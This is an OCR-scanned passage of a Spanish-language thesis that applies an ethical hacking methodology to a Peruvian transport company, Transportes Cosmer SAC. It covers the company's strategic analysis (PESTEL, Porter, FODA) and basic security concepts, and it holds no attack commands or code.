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RESUMEN

La presente investigacién tuvo como obijetivo identificar el estado actual del nivel
de la seguridad informatica de los sistemas del area de cémputo de Transportes
Cosmer SAC, ubicada en la ciudad de Piura, mediante la metodologia del Ethical

Hacking.

Los sistemas webs y los sistemas operativos, evaluados fueron seleccionados por
el gerente como los activos mas importantes de la empresa. Para llevar adelante
la investigacion, se realizaron los siguientes procesos (ataques de fuerza bruta,
escaneos de puertos, enumeracion de usuarios, ataques de man in the middle,

ingenieria social, reconocimiento), basados en la metodologia del Ethical Hacking.

Los resultados de la investigacion nos arrojaron que actualmente los sistemas web
y sistemas operativos de la empresa de Transportes Cosmer S.A.C tienen brechas
de seguridad, lo cual ponen en riesgo la confidencialidad, integridad vy

disponibilidad de la informacion.
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ABSTRACT

The objective of this research was to identify the current status of the computer
security level of the computer systems of the Transportes Cosmer SAC, located in

the city of Piura, using the Ethical Hacking methodology.

The web systems and operating systems evaluated were selected by the manager

as the most important assets of the company.

To carry out this research, the following processes were carried out (brute force
attacks, port scans, enumeration of users, man in the middle attacks, social

engineering, recognition), based on the Ethical Hacking methodology.

The results of the investigation showed us that currently the web systems and
operating systems of the company Cosmer S.A.C have security gaps, which put at

risk the confidentiality, integrity and availability of the information.

Keywords:

Ethical Hacking, vulnerabilities, confidentiality, integrity, availability.



INTRODUCCION

Hoy en dia el activo mas importante de una organizacion es la informacion, sin
embargo, no siempre es estimada con mayor prioridad como tal hasta que esté en
riesgo como, por ejemplo: corrompiéndose, cifrandose, extraviandose o
simplemente difundiéndose sin autorizacion, etc. Hoy en dia se han registrado
miles de acontecimientos de ataques cibernéticos a usuarios de organizaciones
pequefias, medianas y grandes, que han sido vulnerados por ciber delincuentes,
todos estos tipos de ataques son pérdidas econdmicas millonarias para las
empresas. Debido al avance tecnolégico los usuarios hoy en dia guardan la
informacion confidencial en medios de almacenamiento externos, como, por
ejemplo: un USB, celular, discos duros externos; se debe tener en cuenta que
cuando estos medios llegan a manos equivocadas se produce la manipulacién o

robo de la misma.

Todo esto nos deja saber que se debe acudir a mecanismos de proteccion de
informacion donde se pueda evitar la usurpacion o lectura de informacién sensible,
es decir informacidn de caracter personal y que de alguna manera nos llevan a la
cuantificacién de la misma en términos monetarios, por tal motivo las compafias
alrededor del mundo comenzaran a invertir en software para la seguridad de las

Tecnologias de la Informacioén (TI).

Esta escasez de conocimientos genera que los hackers puedan intervenir en los
sistemas de la forma mas sencilla posible, lo clasico es formatear y continuar, pero

seguir con las vulnerabilidades.

Este proyecto se realizé bajo el concepto y las fases de la metodologia del Hacking
Etico, con fines educativos, salvaguardando la integridad de los datos en la
empresa y utilizando herramientas de analisis vulnerabilidades y explotaciones,
para poder demostrar las fallas mas comunes que existen hoy en dia en los

sistemas operativos y servidores, que tenemos en las organizaciones del mundo.

Vi
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CAPITULO I: ANALISIS DE LA ORGANIZACION

1.1 Datos generales de la institucion:

1.1.1. Nombre de la Institucién

Empresa Trasnportes Cosmer S.A.C

Direccion: Mza. K Lote. 06 A.H. Alm Miguel Grau (Cerca al Rafo)
- Distrito: Castilla

Provincia: Piura

1.1.2. Rubro o Giro del Negocio

Prestacion de Servicios de transporte publico.

llustracion 1: Ubicacion Geografica
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Fuente: Elaboracién propia
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1.1.3. Organigrama

llustracion 2: Organigrama

DIRECCION

Departamenta Departamento Departamento
de RRHH Contable y P

Einanciero de Transporte

Fuente: Elaboracion propia

1.1.3. Descripcion de areas funcionales

GERENTE

- Analizar los resultados periédicos y estadisticos

- Informar al grupo del directorio acerca de la situacion y evolucion de la
organizacion.

- Participar y asesorar en la toma de decisiones importantes.

- Definiry realizar el seguimiento de la politica de calidad de la organizacion.

DIRECTOR DE RRHH

- Definir para un periodo determinado una Politica de Recursos Humanos.
- Responsable de definir el presupuesto en formacion para la organizacion.

- Gestidn y preparacion de los contratos de trabajo.
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CONTADOR

- Definir, la Politica Financiera para un periodo determinado.

- Responsable de informar de la politica financiera para dicho periodo a todos los
miembros.

- Informar a la Direccién sobre la situacion financiera.

- Responsable de garantizar las necesidades financieras de la organizacion.

- Realizar control de las necesidades de cobro y pago de la empresa.

- Gestionar los Estados Econdmicos y Financieros de la empresa.

1.2 Fines de la Organizacion

1.2.1 Vision

Para el 2021 la empresa COSMER SAC sera reconocida en la provincia de Piura y Lima
como una empresa lider en servicio de transporte, con garantia de seguridad para la

satisfaccion de los pasajeros.

1.2.2 Misioén

Somos una empresa constituida en el rubro automovilistico, dedicada a ofrecer servicios
de transporte, que brinda seguridad en su servicio para la exigencia y satisfaccion de
los pasajeros, capacitando constantemente a los choferes, para brindar un servicio de
calidad mediante nuestros primordiales factores como: eficiencia, eficacia vy

responsabilidad.

1.2.3 Valores

- Honestidad.

- Responsabilidad.
- Puntualidad.

- Integridad.

- Confidencialidad.
- Integridad.

- Excelencia.

- Etica.

- Honradez.
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1.3 Analisis externo (Pestel)

1.3.1 Analisis del entorno general

El riesgo en las organizaciones actualmente es muy alto, el impacto externo ante su
intervencion maliciosa, fuga de informacién de propiedad intelectual, atagues de
phishing, ransomware, caidas de sistema en horas punta, etc., es repercusion negativa
para todos los involucrados de la organizacion. Los riesgos que las compafiias enfrentan
cada afio en materia de seguridad de la informacion y proteccién de datos son cada vez

mas criticos.

A) Factores politicos

Aprobacion de laresolucion: “Lineamientos para uso de servicios en la nube para

entidades de la Administracion Publica del Estado Peruano”

El empleo de las Tecnologias de la Informacién y la Comunicacién (TIC), hace que
nuestro Gobierno se preocupe en todos los ambitos de la sociedad, la posibilidad de
habilitar mejores servicios a todas las personas en general; en particular, conviene
sefalar que el Decreto Legislativo N° 604 crea el Sistema Nacional de Informatica que
tiene por finalidad asegurar que las actividades en torno al empleo de las TIC, en el
ambito de la Administracion Publica, se desarrollen en forma integrada, coordinada,
racionalizada y bajo una normatividad técnica comun, contando con autonomia técnica
y de gestion. Ademas, tiene como ambito de competencia “La instrumentalizacién
juridica y de mecanismos técnicos para el ordenamiento de los recursos de computo y
de la actividad informéatica del estado, asi como toda la documentaciéon asociada; la
operacion y explotacion de los bancos de datos y archivos magnéticos de informacion
al servicio de la gestion publica. Corresponde a este desarrollo la planeacion sistematica
de procesos, métodos y téchicas apoyadas en ciencia y técnica aplicada, que se
establecen con el fin de usar, procesar y transportar informaciéon” Impulsar la
transformacioén digital del pais. Para que el Pert pueda aprovechar los beneficios que
trae la transformacion digital debe estar en la posibilidad de acceder a las mejores
tecnologias y herramientas para el procesamiento de informacion que se ofrece a nivel
mundial, pues de lo contrario quedara rezagado. (Secretaria de Gobierno Digital Pera
2018.)
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Gobierno Peruano avalala participacién de 40 becarios seleccionados por la OEA.

Un total de 40 becarios, seleccionados por la Organizacion de los Estados Americanos
(OEA) de cinco universidades publicas del pais, participaron en el 2017 en un curso
sobre ciberseguridad que forma parte del evento “Creando una trayectoria profesional
en seguridad digital”, en el marco del proyecto que ejecuta el organismo hemisférico en
cuatro estados, entre ellos el Perd, para potenciar a jévenes de bajos ingresos

econdmicos y fomentar su preparacion para una carrera digital.

El curso de capacitacion es patrocinado por la OEA, se ejecuta mediante el Young
Americas Business Trust (YABT) y tiene por objetivo mejorar la informacion, habilidades
y conocimientos de seguridad digital, asi como permitir el desarrollo profesional de

jovenes de bajos ingresos. (Secretaria de Gobierno Digital Perti 2017.)

B) Factores econdémicos

El sector de las Tecnologias de la Informacion y Comunicacién (TIC) facturé en Perd en
el aflo 2017 mas de 4,700 millones de délares, refirié hoy el presidente del directorio de
Sapia (ex Cosapi Data), Jorge Kurlya, Indicé que el sector de las TIC mueve al afio en
el pais unos 4,500 millones de ddlares, y unos 2,500 millones de las empresas de

telecomunicaciones.

“El crecimiento promedio ha sido del 10% anual en los ultimos 10 afos, hubo un
pequefio freno en los Gltimos dos afos, pero se proyecta un crecimiento de entre 4%y

6% para este afo”, declaro a la Agencia Andina.

La constante y rapida actualizacion de la tecnologia en el pais, obliga a los profesionales
a estar en constante capacitacion, y la demanda por mas técnicos y profesionales en

este sector es creciente. (Agencia Andina 2017)

C) Factores sociales

Los ciber ataques cuestan US$ 575 mil millones anuales al mundo

"Todas las industrias y sectores se han convertido en blanco de ataques y Latinoamérica
no es la excepcioén. En los ultimos cinco afos instituciones estatales y grandes empresas
han sido victimas de ataques phishing y hackeos en paises como Chile, Argentina,

Colombia y Pera", sefialé Stefan Deutscher, lider mundial de BCG en Ciberseguridad y
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consejero lider del Foro Econdmico Mundial (WEF), durante su presentacion en el

reciente evento "Ciberseguridad” realizado en Lima.

El costo mundial promedio por cada ciberataque es de US$11 millones, y el 72% de las
infracciones son causadas por fallas humanas. La ciberseguridad ha afectado a todas

las industrias en los ultimos cinco afios (Olga Botero 2017)

D) Factores tecnolégicos

Avance tecnolégico de las TIC’S
El rapido avance de las TIC provocado por el creciente desarrollo de la tecnologia digital

brinda oportunidades sin precedentes para alcanzar mejores niveles de vida.

Segun la Encuesta Global de Seguridad de la informacion, realizada por EY Perq, en el
afo 2016 hasta marzo del 2017: “Las organizaciones estan pensando en aprovechar las
nuevas tecnologias, sin considerar los aspectos de seguridad de informacién y riesgo.
Generalmente consideran los temas de seguridad al final del disefio de una nueva
solucion, minimizando el andlisis de riesgos de seguridad cibernética, cuando deberia
ser al revés.” Si bien es cierto, los avances tecnoldgicos avanzan, pero también los
ataques cibernéticos aumentan. Lamentablemente la mayoria de empresas en nuestro

Pais, no invierten en la Seguridad. (Consultora EY 2017.)

Soluciones integradas

Como usuario final, tenemos expectativas de un nivel de servicio de calidad y rapido,
logrando la adopcidn de nuevas aplicaciones que, aunque traen grandes beneficios,
generan desafios interesantes para los encargados de la tecnologia y ciberseguridad de

las instituciones financieras.

E) Factores ecolégicos

Los cambios en las condiciones de vida, el aumento de la poblacién, el aumento del
gasto energeético, la necesidad de aumentar la produccion de alimentos o de bienes de
consumo han propiciado los grandes avances tecnoldgicos en las sociedades actuales.
Las consecuencias de esto son grandes problemas ambientales como la contaminacion

ambiental, tala de arboles o urbanizacién de los terrenos.
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F) Factores Legales

Normativas Peruanas

En un pais como el nuestro, que se encuentra atrasado en sus capacidades de
investigacion y de innovacion, la difusién y transferencia de tecnologia son cruciales
para identificar cdmo se realizan estos procesos, especialmente con las tecnologias que
estan disponibles en el mundo y que pueden generar grandes cambios. Actualmente
existen normas que nos protegen antes estos tipos de ataques cibernéticos, como por
ejemplo la"Ley de proteccion de datos", "Normativa ISO 27001”, etc. (Diario El Comercio
2013.)

Autorizacidn previa

Asi mismo, las personas naturales o juridicas que realicen pruebas de vulnerabilidad en
el contexto de identificar riesgos de seguridad, deben contar con la autorizacién o
consentimiento del individuo o entidad que aprueba la responsabilidad de uso y
seguridad de los activos, conforme a la norma “NTP-ISO /IEC 27001:2008 EDI
Tecnologia de la Informacion. Técnicas de Seguridad. Sistemas de Gestion de

Seguridad de la Informacion. Requisitos”. (Indecopi — CNB 2009)

1.4 Analisis del entorno competitivo (Fuerzas Porter)

Poder de Negociacion de los Clientes:
- Medio, por falta de conocimientos en ciberseguridad, la empresa podria poner en
riesgo los datos privados de los clientes y estos podrian optar por irse de la

empresa.

Poder de Negociacion de los Proveedores:
- Alto, por falta de un encargado de redes, la empresa adn no ha podido decidir con
gue proveedor quedarse para la implementacion de una seguridad interna y

externa y esto traeria una amenaza para privacidad de los clientes.

Amenaza de Nuevos Competidores Entrantes:
- Media, al no tener un monto estable en inversiones para mejoras de la seguridad
informatica de la empresa, un competidor podria ingresar al mercado con capital

de inversién mucho mayor.
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Amenaza de productos Sustitutos:
- Media, la seguridad informatica siendo un tema muy importante necesita de
distintos tipos de proteccion y teniendo en cuenta el avance de los ataques

cibernéticos las protecciones sustitos van quedado obsoletas.

Rivalidad entre los Competidores:
- Alta, al tener una mejor postura en la seguridad informatica, la empresa tendra

mayor clientela, mejores ganancias, etc.

1.5 Analisis Interno

1.5.1 Recursosy capacidades

A) Recursos tangibles

Los recursos tangibles son aquellos bienes fisicamente apreciables, es decir, que se
pueden tocar y ocupan un espacio. Se debe hacer una gestion eficiente de los recursos
tangibles de una empresa esto significa hacer un uso 6ptimo y provechoso de esos
bienes. Los principales recursos tangibles de la Empresa de Transportes Cosmer S.A.C
son:

Tabla 1: Recursos Tangibles

Recurso Detalle

Servidores Windows 2003, 2008, 2012
Estaciones de trabajo Windows xp, 7, 8, 10
Disco Duro Toshiba 500 GB
Servidores Linux Ubuntu 18.04
Aplicaciones web Sistema de consultas

Fuente: Elaboracién propia

B) Recursos intangibles

Los recursos intangibles son aquellos que consisten en el conocimiento o informacion
gue no tienen una entidad material y no son por tanto susceptibles de tocarse o
percibiese de un modo preciso, pueden tener un fuerte impacto en la eficacia y la
eficiencia de la organizacion. Suelen ser indivisibles. Factores como la percepcion de la
organizacion en el publico, las relaciones con los proveedores, la capacidad de

adaptacion, etc., son fundamentales a la hora de determinar los resultados, al mismo

23



tiempo que a diferencia de la mayoria de los recursos materiales o financieros, no se
pueden adquirir en el mercado, sino que son el resultado de un proceso histérico que

se produce dentro de cada organizacion.

Algunos recursos intangibles de la investigacion son:

- Serinnovadores con los avances tecnolégicos
- Tener una buena reputacion con el publico.
- Capacitaciones de seguridad informatica.

- Sistemas operativos licenciados

C) Capacidades organizativas

El término capacidad organizativa se refiere a varios factores propios de una

organizacion:

- Lacalidad y la cantidad de recursos disponibles como, por ejemplo: personal muy
bien capacitados, recursos financieros, infraestructura, etc.

- Lamanera en la que una organizacion utiliza estos recursos en sus actividades.

- La capacidad de una organizacion de adaptarse cuando las circunstancias
cambian.

- Un trabajador es el recurso mas importante para una empresa que busca ser

competitiva.

D) Analisis de recursos y capacidades

Los recursos son la fuente de las capacidades de la empresa y son agrupados con el
fin de crear tales capacidades. Los recursos son de espectro amplio y abarca un abanico

de fenémenos individuales, sociales y organizacionales.

La empresa de Transportes Cosmer S.A.C posee el recurso humano y el recurso
tecnologico. Para el recurso humano la empresa cuenta con personal indicado para el
desarrollo de las actividades que se vienen implementando, desde una buena relacién

con los clientes hasta un 6ptimo desempefio en cada uno en sus tareas encomendadas.
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Las capacidades son fundamentales para crear una ventaja competitiva y estan basadas
en el desarrollo, transmisién y el intercambio de informacién, y de conocimiento por

medio del capital humano de la empresa.
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1.5.2 Andlisis de la cadena de valor

[lustracion 2 Cadena de valor

Infraestructura Gestion de soporte de autos, gestion de estacionamientos
RRHH Convocatorias, seleccion de personal, contrato, remuneracion,
desvinculacion
Tecnologia Desarrollo web, soporte, capacitacion
Abastecimiento Adquisicion de combustible, permisos
Logistica interna Operaciones Logistica externa | Ventas Servicios postventa
Transporte, Revision de Entrega puntual Servicios | Encuestas de
gestion de stocks | vehiculos de equipajes de satisfaccion del
Solicitud de Recepcion de | Traslado de cobranza | cliente
transporte equipajes clientes finalizado Entrega de flayers
Seguridad Traslado de con el horario de
clientes atencion
iniciado

Fuente: Elaboracién propia

Continuidad

de negocio
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1.6 Matriz de Perfil Competitivo (MPC)

Tabla 2: Matriz de Perfil competitivo

COSMER SAC COMITE 7C GUADALUPE

EMPRESAS PESO | CLASIFICACION | PUNTAJE | CLASIFICACION | PUNTAJE | CLASIFICACION | PUNTAJE
Calidad del Servicio 0.2 3 0.6 2 0.4 4 0.8
Alianzas Estratégicas 0.1 2 0.2 2 0.2 4 0.4
Innovacion Tecnolégica | 0.1 2 0.2 3 0.3 4 0.4
Afluencia de Clientes 0.2 4 0.8 4 0.8 4 0.8
Experiencia en el Sector | 0.15 3 0.45 4 0.6 4 0.6
Personal Calificado 0.25 3 0.75 3 0.75 3 0.75
TOTAL 1 3 3.05 3.75

Fuente: Elaboracién propia
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1.7 Analisis Estratégico

1.7.1 Matriz de evaluacion de factores internos (IFE)

Tabla 3: Matriz IFE

FACTORES INTERNOS PESO | CALIFICACION | PONDERADO

FORTALEZAS
Los trabajadores cuentan con

1 _ o 0.15 2 0.3
amplia experiencia en el rubro
Los proyectos cumplen con los

2 | estandares de calidad y plazos 0.05 1 0.05
fijados
Conocimiento del sector de

3 0.15 2 0.3
transportes.
Existe un adecuado clima

4 o 0.1 2 0.2
organizacional.

5| Variedad y calidad en el servicio. 0.05 1 0.05

Subtotal Fortalezas 0.5 0.9

DEBILIDADES
Los trabajadores no cuentan con un

1| seguro integral o incentivos, linea | 0.15 4 0.6
de carrera, capacitaciones.

2 | Falta de publicidad 0.1 4 04
No cuentan con manuales de

3 L _ 0.15 3 0.45
organizacion y funciones
No cuentan con planes de

4 _ . 0.05 3 0.15
contingencias
Trabajadores desconocen la mision

5 o 0.05 3 0.15
y vision de la empresa

Subtotal Debilidades 0.5 1.75

Total IFE 1 2.65

Fuente: Elaboracion propia
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1.7.2 Matriz de evaluacién de factores externos (EFE)

Tabla 4: Matriz EFE

FACTORES EXTERNOS PESO |CALIFICACION|PONDERADO

OPORTUNIDADES
Ingreso de nuevas inversiones en

1 | Piura para mejorar el servicio de 0.1 1 0.1
transporte publico.

2 | Crecimiento sector de transportes. 0.1 2 0.2
Existencia de tecnologias de

3. . 0.15 2 0.3
informacion y otros.
Apoyo de los bancos para nuevas

4 _ 0.05 1 0.05
Inversiones

5| Apoyo del Gobierno 0.1 2 0.2

Subtotal Oportunidades 0.5 0.85

AMENAZAS
Competencia y cantidad de

1 o 0.15 4 0.6
empresas automovilisticas

2| Extorciones. 0.15 4 0.6

3| Carreteras dafiadas. 0.05 2 0.1

4 | Ataques cibernéticos. 0.05 2 0.1

5| Aumento del precio del combustible 0.1 2 0.2

Subtotal Amenazas 0.5 1.6

Total EFE 1 2.45

Fuente: Elaboracién propia
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1.7.3 Matriz de evaluacién de factores internos/externos (IE)

llustracion 3: Matriz IE

Factores Internos

2.65

2.45

IV

Factores Externos

\"l Vili

Vi

IX

Fuente: Elaboracién propia

Interpretacion:

Habiendo realizado nuestra matriz IFE/EFE, obtenemos como resultado en nuestra

Matriz IE se encuentra en el cuadrante V, el cual sugiere que se debe usar estrategias

de Sostenimiento al momento de identificar las estrategias FODA.

1.7.4 Analisis FODA

A. Fortalezas

Los trabajadores cuentan con amplia experiencia en el rubro

El servicio cumple con los estandares de calidad y plazos fijados.

Conocimiento del sector de transportes.
Existe un adecuado clima organizacional.
Variedad y calidad en el servicio.
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B. Oportunidades

- Ingreso de nuevas inversiones en Piura para mejorar el servicio de transporte
publico.

- Crecimiento sector de transportes.

- Existencia de tecnologias de informacion y otros.

- Apoyo de los bancos para nuevas Inversiones

C. Debilidades

- Los trabajadores no cuentan con un seguro integral o incentivos, linea de carrera,
capacitaciones.

- Falta de publicidad

- No cuentan con manuales de organizacion y funciones

- No cuentan con planes de contingencias

- Trabajadores desconocen la mision y vision de la empresa

D. Amenazas

- Competencia y cantidad de empresas automovilisticas
- Extorciones.

- Carreteras dafiadas.

- Ataques cibernéticos.

- Aumento del precio del combustible

31



1.7.5 Matriz FODA

Tabla 5 Matriz Foda

FORTALEZAS

DEBILIDAES

Los trabajadores cuentan con amplia experiencia en el rubro

Los proyectos cumplen con los estandares de calidad y

1. Los trabajadores no cuentan con un seguro integral o incentivos,

linea de carrera, capacitaciones.

combustible

Matriz FODA plazos fijados. 2. Falta de publicidad
Conocimiento del sector de transportes. 3. No cuentan con manuales de organizacion y funciones
Existe un adecuado clima organizacional. 4. No cuentan con planes de contingencias
Variedad y calidad en el servicio. 5. Trabajadores desconocen la mision y vision de la empresa
1. Ingreso de nuevas inversiones en
Piura para mejorar el servicio de
] .
w transporte publico. o ) ) ;
9( o (3.1) Aprovechar el alto conocimiento en el sector transporte y el | (3.1) Aprovechar la existencia de nuevas tecnologias y la falta de
o Crecimiento sector de transportes. ) ) ) ) ) o ) )
= ) ) . ingreso de nuevas inversiones a Piura para incrementar la capacitaciones de los trabajadores para aumentar la seguridad
5 Existencia de tecnologias de . . - .
= ) y rentabilidad. informéatica del negocio.
% informacion y otros.
% 4. Apoyo de los bancos para nuevas
Inversiones.
1. Competenciay cantidad de
empresas automovilisticas
2. Extorciones. (5.1) Aprovechar la calidad en el servicio y la competencia de| (4.2) Aprovechar la falta de planes de contingenciay la gran
<</() 3. Ataques cibernéticos. empresas dedicadas al rubro para aumentar la cartera de cantidad de ataques cibernéticos para mejorar la continuidad
E 4. Carreteras dafiadas. clientes. del negocio.
pd
I-IEJ 5. Aumento del precio del
<

Fuente: Elaboracién propia
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1.7.6 Mapa estratégico

Tabla 6 Mapa estratégico

PERSPECTIVAS

OBJETIVO ESTRATEGICO

MEJORAR LA SEGURIDAD INFORMATICA DE LOS
SISTEMAS

FINANCIERA

Mejorar la

seguridad
informatica de los
sistemas

CLIENTES

Mejorar la
seguridad de los
clientes

PROCESOS

Mejorar el
Proceso de
Atencién alos
clientes

APRENDIZAJE

Mejorar el Nivel
de Equipamiento
Tecnoldgico

Fuente: Elaboracion Propia
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1.7.7 Diagrama Ishikawa

llustracion 4 Diagrama Ishikawa

| Tecnologia Personal

Deficiencia en herramientas
de gestion y control

Personal sin conocimientos
informaticos

Falta de asesoria tecnoldgica
_ ) _ Lentitud en procesos diarios Inadecuada
Sistemas operativos desactualizados seguridad
informatica
Escases de dinero No se realizan auditorias
informaticas

Retrasos en el tiempo al

procesar una operacion No se realizan planes de mejora

en la seguridad informatica

Tiempo y recursos Procedimientos

Fuente: Elaboracion propia

1.8 Descripcion de la problematica

1.8.1 Problemética

En nuestro pais con el avance de las Tecnologias de la Informacién y la Comunicacion
TICS se masific6 enormemente, la llegada de importadores mayoristas, ferias y
negocios informales tecnolégicos (Galerias Wilson — Lima), trajeron tecnologia barata,
pirateria, a nuestro pais, logrando una fuerte utilizacién de las computadoras, redes
sociales , redes profesionales y caseras, dando un uso mayoritario a las TICS, al grado
de convertirse en un elemento indispensable para el funcionamiento de la sociedad

actual.

Hoy en dia encontrar contrasefias débiles en las cuentas de sesion de un servidor de
archivos, correos, base de datos, web, puertos expuestos innecesariamente, cifrados
de documentos importantes como por ejemplo: balances, base de datos, documentos
de contrasefias, entre otros, no es nada del otro mundo, todo esto se debe a la falta de
concientizacién de miles de universitarios, profesionales en los temas de Seguridad
Informética, Seguridad de la Informacion, Ciberseguridad, Normas Peruanas de

Seguridad de la Informacion (1ISO), etc.

En TRANSPORTES COSMER SAC y en todas las instituciones de nuestro pais el uso

de aplicaciones electrdnicas se incrementa cada dia, es por eso que nos preguntamos:

34



- ¢Todo lo que viaja de host a host va seguro?

- ¢Los mecanismos de seguridad utilizados son los mejores y perduran en el
tiempo?

- ¢Existe alguna entidad de prestigio que valide y garantice que las transacciones
son seguras?

- ¢Cbmo asegurarse de que no existan brechas de seguridad informatica?

- ¢Cbmo saber si estamos protegidos contra las nuevas técnicas de ataque
utilizadas por los "Hackers" o por sus propios trabajadores?

- ¢Cbmo estar seguros, que un cambio de configuracion o la instalacién de nuevos

sistemas no abre una nueva brecha?

Los requerimientos de seguridad en estos procesos son cada vez mayores, frente a los
problemas y contingencias que puedan ocurrir, en nuestro territorio nacional y en
especial en nuestra zona, la existencia de recursos humanos especializados en

Seguridad Informatica es extremadamente escasa.

1.8.2 Problema de la investigacion

A. Principal

Determinar de qué manera el uso de la metodologia Ethical Hacking influye en el nivel
de gestion de la seguridad informatica de la seguridad de los sistemas del area de
computo de TRANSPORTES COSMER SAC.

B. Secundarios

- De qué manera la fiabilidad de la metodologia Ethical Hacking influye en la
eficiencia en la gestion de la seguridad de los sistemas del area de cémputo de
TRANSPORTES COSMER SAC.

- De qué manera la Integridad de la metodologia Ethical Hacking influye en la
eficacia de la gestion de la seguridad de los sistemas del area de computo de
TRANSPORTES COSMER SAC.

- De qué manera la Usabilidad de la metodologia Ethical Hacking influye en la
productividad de la gestién de la seguridad de los sistemas del area de computo
de TRANSPORTES COSMER SAC.
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1.8.3 Objetivos

A. Objetivo General

Determinar la manera que la Metodologia Ethical Hacking influye en el nivel de proceso
de gestion de la seguridad informatica de los sistemas del area de cOmputo de
TRANSPORTES COSMER SAC.

B. Objetivos especificos

- Determinar la manera en que la fiabilidad de la metodologia Ethical Hacking influye
en la gestion de la seguridad de los sistemas del area de cémputo de
TRANSPORTES COSMER SAC.

- Determinar la manera en que la Integridad de la metodologia Ethical Hacking
influye en la eficacia de la gestion de la seguridad de los sistemas del area de
computo de TRANSPORTES COSMER SAC.

- Determinar la manera en que la Usabilidad de la metodologia Ethical Hacking
influye en la productividad de la gestién de la seguridad de los sistemas del area
de computo de TRANSPORTES COSMER SAC.

1.8.4 Justificacién e importancia de la investigacion

1.8.4.1 Justificacion

El acceso deliberado en cualquier momento de inescrupulosos a las redes, servidores,
webs de las organizaciones peruanas ya no es nada aislado, ni caso de peliculas de
ciencia ficcion, es la realidad diaria en el mundo, los hackers intervienen, alteran,
controlan, informacién ajena, hasta dafiando la imagen comercial y posicionamiento en

el mercado de negocios.

En la actualidad la mayoria de organizaciones, carecen de conocimientos para
reconocer facilmente las brechas de seguridad que podrian estar pasando originadas
desde el interior de la organizacion por medio de sus empleados, como amenazas
externas, es por eso por lo que la presente tesis, tiene como finalidad la contribucion al

fortalecimiento de un ambito tan importante como es el campo de seguridad informatica.
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1.8.4.2 Importancia

La importancia de la investigacion reside en el uso de las fases del Hacking Etico, que
permitira identificar el nivel de la seguridad informatica de los sistemas del area de
computo de TRANSPORTES COSMER SAC, para dar a conocer lo importante que es
una buena capacitacion de seguridad informatica al personal para poder evitar cualquier
ataque asi sea por ingenieria social o ataques por fallas nativas de los sistemas

operativos.

1. 8.5 Limitaciones de la investigacion

Los factores predominantes que limitan la investigacion en el proceso de demostrar las
debilidades y fallas de seguridad en los sistemas principales son los siguientes:
- Perdida de conexién con las estaciones de trabajo y con el servidor por problemas
de red
- Falsos positivos en las vulnerabilidades encontradas.

- Falta de colaboracion por parte de los interesados.

1. 8.6 Resultados esperados
- Mejorar la eficiencia en un 65%

- Mejorar la eficacia en un 70%

- Mejorar la productividad en 70%
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CAPITULO Il: MARCO TEORICO DEL NEGOCIO Y DEL PROYECTO

2.1 Marco tedrico del Negocio

Segun Andrea Barragan, 2006:
El modelo de negocio debe incluir la respuesta a las preguntas basicas: qué va a
ofrecer al mercado, como lo va a hacer, a quién y cémo lo venderd y como se

generaran ingresos.

El modelo de negocio se debe tener siempre presente y es la herramienta
fundamental para, en el futuro, potenciar la innovacion. A través de este esquema
sera mas facil detectar las debilidades de la empresa y visualizar la manera de

contribuir a la creacién de valor, es decir, generar beneficios.

Segun Julian Pérez Porto y Maria Merino, 2008:
Un modelo de negocio, también conocido como disefio de negocio, es
la planificacién que realiza una empresa respecto a los ingresos y beneficios que
intenta obtener. En un modelo de negocio, se establecen las pautas a seguir para
atraer clientes, definir ofertas de producto e implementar estrategias publicitarias,
entre muchas otras cuestiones vinculadas a la configuracién de los recursos de la

compaifia.

A la hora de establecer el modelo de negocio es importante que la persona en cuestion
analice en profundidad la empresa y dé respuesta a una serie de preguntas pues en
base a las respuestas podra poner en marcha uno u otro tipo de modelo de negocio. En
este caso, es importante que establezca si tiene competencia 0 ho en ese servicio o
producto que posee, qué es lo que le hace diferente del resto de rivales empresariales,
cémo va conseguir clientes, como se producird el crecimiento y como se va a ganar el

dinero.

2.1.2 Bases tedricas

2.1.2.1 Hacking Etico

Analiza los sistemas y programas informaticos corporativos, asumiendo el papel de un
atacante y simulando ataques a la organizacion con el objetivo de valorar el estado real

de si seguridad TI.
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Principales objetivos del hacking ético:

- Solucionar vulnerabilidades que pueden provocar un ciberataque.

- Sensibilizar a los profesionales de las organizaciones de la importancia de la
seguridad informatica.

- Mejora sus procesos de seguridad (actualizacion de software, plan de respuesta

a incidentes, etc.).

2.1.2.2 ¢ Por qué hacer un Ethical Hacking?

Porque gracias al Ethical hacking, la organizacién puede detectar el nivel de seguridad
interno y externo de sus sistemas de informacion, esto se logra determinando el grado
de acceso que tendria un atacante con intenciones maliciosas a los sistemas

informaticos con informacion critica.

2.1.2.3 ¢ Qué es un analisis de vulnerabilidades informaticas?

Es una debilidad de cualquier tipo que afecta o compromete la seguridad de un

componente informatico.

2.1.2.4 ;COmo se pueden agrupar las vulnerabilidades?

Las vulnerabilidades informaticas las podemos agrupar en funcién de:
- Disefio de la seguridad perimetral
- Debilidad en el disefio de protocolos utilizados en las redes.
- Politicas de seguridad deficiente e inexistente.
- Implementacion
- Errores de programacion.
- Existencia de “puertas traseras” en los sistemas informaticos.
- Configuracion inadecuada de los sistemas informaticos.
- Desconocimiento y falta de sensibilizacion de los usuarios y de los responsables
de informatica.
-  Disponibilidad de herramientas que facilitan los ataques.
- Limitacién gubernamental de tecnologias de seguridad.

- Vulnerabilidad del dia cero
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2.1.2.5 Seguridad Informatica

La seguridad informética es la disciplina que se ocupa de disefiar las normas,
procedimientos, métodos y técnicas destinados a conseguir un sistema de informacion

seguro y confiable.

La seguridad informatica comprende software (bases de datos, metadatos,
archivos), hardware y todo lo que la organizacién valore y signifique un riesgo si esta
informacion confidencial llega a manos de otras personas, convirtiéndose, por ejemplo,

en informacién privilegiada.

2.1.2.6 Seguridad de la Informacion

Es el conjunto de medidas preventivas y reactivas de las organizaciones y de los
sistemas tecnolégicos que permiten resguardar y proteger la informacion buscando

mantener la confidencialidad, la disponibilidad e integridad de datos y de la misma.

2.1.2.7 Andlisis de Vulnerabilidades

Se puede considerar como una debilidad de cualquier tipo que afecta o compromete la

seguridad de un componente informatico.

Las vulnerabilidades informaticas las podemos agrupar en funcion de:
- Disenfo de la seguridad perimetral
- Debilidad en el disefio de protocolos utilizados en las redes.
- Politicas de seguridad deficiente e inexistente.
- Implementacion
- Errores de programacion.
- Existencia de “puertas traseras” en los sistemas informaticos.
- Descuido de los fabricantes.
- Configuracion inadecuada de los sistemas informaticos.
- Desconocimiento y falta de sensibilizacion de los usuarios y de los responsables
de informatica.
- Disponibilidad de herramientas que facilitan los ataques.
- Limitacién gubernamental de tecnologias de seguridad.

- Vulnerabilidad del dia cero
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2.1.2.8 Explotacién

